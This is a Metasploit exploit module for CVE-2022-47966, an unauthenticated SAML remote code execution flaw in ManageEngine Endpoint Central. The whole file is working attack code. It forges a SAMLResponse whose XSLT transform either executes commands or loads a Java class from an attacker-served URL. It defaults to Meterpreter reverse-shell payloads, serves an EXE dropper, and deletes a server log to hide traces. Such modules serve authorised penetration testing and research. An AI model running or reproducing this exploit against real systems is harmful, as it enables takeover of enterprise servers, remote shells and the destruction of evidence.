# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine Endpoint Central Unauthenticated SAML RCE',
        'Description' => %q{
          This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10
          and below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the Endpoint Central
          SAML endpoint. Note that the target is only vulnerable if it is
          configured with SAML-based SSO , and the service should be active.
        },
        'Author' => [
          'Khoa Dinh', # Original research
          'horizon3ai', # PoC
          'Christophe De La Fuente', # Based on the original code of the ServiceDesk Plus Metasploit module
          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Added some small tweaks to the original code of Christophe to make it work for this target
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-47966'],
          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
        ],
        'Platform' => ['win', 'java'],
        'Targets' => [
          [
            'Java (in-memory)',
            {
              'Type' => :java,
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' }
            },
          ],
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/https/x64/meterpreter/reverse_tcp' },
              'Payload' => { 'BadChars' => "\x27" }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 8020,
          'SSL' => false
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE,],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),
      OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])
    ])
  end

  def check_saml_enabled
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/SamlRequestServlet')
    })
    if res.nil?
      print_error('No response from target.')
      return false
    end

    # ManageEngine Endpoint Servers with SAML enabled respond with 302 and a HTTP header Location: containing the SAML request
    if res && res.code == 302 && res.headers['Location'].include?('SAMLRequest=')
      return true
    else
      return false
    end
  end

  def check
    # check if SAML-based SSO is enabled otherwise exploit will fail
    # No additional fingerprint / banner information available to collect and determine version
    return Exploit::CheckCode::Safe unless check_saml_enabled

    CheckCode::Detected('SAML-based SSO is enabled.')
  end

  def encode_begin(real_payload, reqs)
    super

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
    end
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :java
      # Start the HTTP server to serve the payload
      start_service
      # Trigger a loadClass request via java.net.URLClassLoader
      trigger_urlclassloader
      # Handle the payload
      handler
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      execute_cmdstager(delay: datastore['DELAY'])
    end
  end

  def trigger_urlclassloader
    # Here we construct a XSLT transform to load a Java payload via URLClassLoader.
    url = get_uri

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    # stager for javascript engine
    java_stager = <<~EOS
      var #{vars[:file]} = Java.type(&quot;java.io.File&quot;);
      new #{vars[:file]}(&quot;../logs/serverout0.txt&quot;).delete();
      var #{vars[:str_arr]} = Java.type(&quot;java.lang.String[]&quot;);
      var #{vars[:c]} = new java.net.URLClassLoader([new java.net.URL(&quot;#{url}&quot;)]).loadClass(&quot;metasploit.Payload&quot;);
      #{vars[:c]}.getMethod(&quot;main&quot;, java.lang.Class.forName(&quot;[Ljava.lang.String;&quot;)).invoke(null, [new #{vars[:str_arr]}(1)]);
    EOS

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
            <xsl:stylesheet version="1.0"
            xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
            xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
            xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
                <xsl:variable name="#{vars[:engineobject]}" select="sem:new()"/>
                <xsl:variable name="#{vars[:jsobject]}" select="sem:getEngineByName($#{vars[:engineobject]},'javascript')"/>
                <xsl:variable name="#{vars[:out]}" select="se:eval($#{vars[:jsobject]},'#{java_stager}')"/>
                <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
            </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT
    send_transform(transform)
  end

  def execute_command(cmd, _opts = {})
    cmd = "cmd /c #{cmd}"
    cmd = cmd.encode(xml: :attr).gsub('"', '')

    vars = Rex::RandomIdentifier::Generator.new({ language: :java })

    transform = <<~EOT
      <ds:Transforms>
        <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
          <xsl:stylesheet version="1.0"
            xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
            xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
            <xsl:template match="/">
              <xsl:variable name="#{vars[:rt_obj]}" select="rt:getRuntime()"/>
              <xsl:variable name="#{vars[:exec]}" select="rt:exec($#{vars[:rt_obj]},'#{cmd}')"/>
              <xsl:variable name="#{vars[:out]}" select="ob:toString($#{vars[:exec]})"/>
              <xsl:value-of select="$#{vars[:out]}"/>
            </xsl:template>
          </xsl:stylesheet>
        </ds:Transform>
      </ds:Transforms>
    EOT

    send_transform(transform)
  end

  def send_transform(transform)
    assertion_id = "_#{SecureRandom.uuid}"
    saml = <<~EOS
      <?xml version="1.0" encoding="UTF-8"?>
      <samlp:Response
        ID="_#{SecureRandom.uuid}"
        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status>
          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <Assertion ID="#{assertion_id}"
          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
          <Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
              <ds:Reference URI="##{assertion_id}">
                #{transform}
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
              </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
            <ds:KeyInfo/>
          </ds:Signature>
        </Assertion>
      </samlp:Response>
    EOS

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI']),
      'vars_post' => {
        'SAMLResponse' => Rex::Text.encode_base64(saml)
      }
    })

    # Java payload returns a nil response on successful execution of payload
    if target['Type'] == :java && res.nil?
      print_status('Exploit completed.')
    elsif res&.code != 200
      lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)
      unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }
        elog("Unkown error returned:\n#{lines.join("\n")}")
        fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")
      end
      fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')
    end

    res
  end

  # handle http requests from java stagers and cmd stagers differently
  def on_request_uri(cli, request)
    case target['Type']
    when :java
      super(cli, request)
    else
      client = cli.peerhost
      print_status("Client #{client} requested #{request.uri}")
      print_status("Sending payload to #{client}")
      send_response(cli, exe)
    end
  end
end
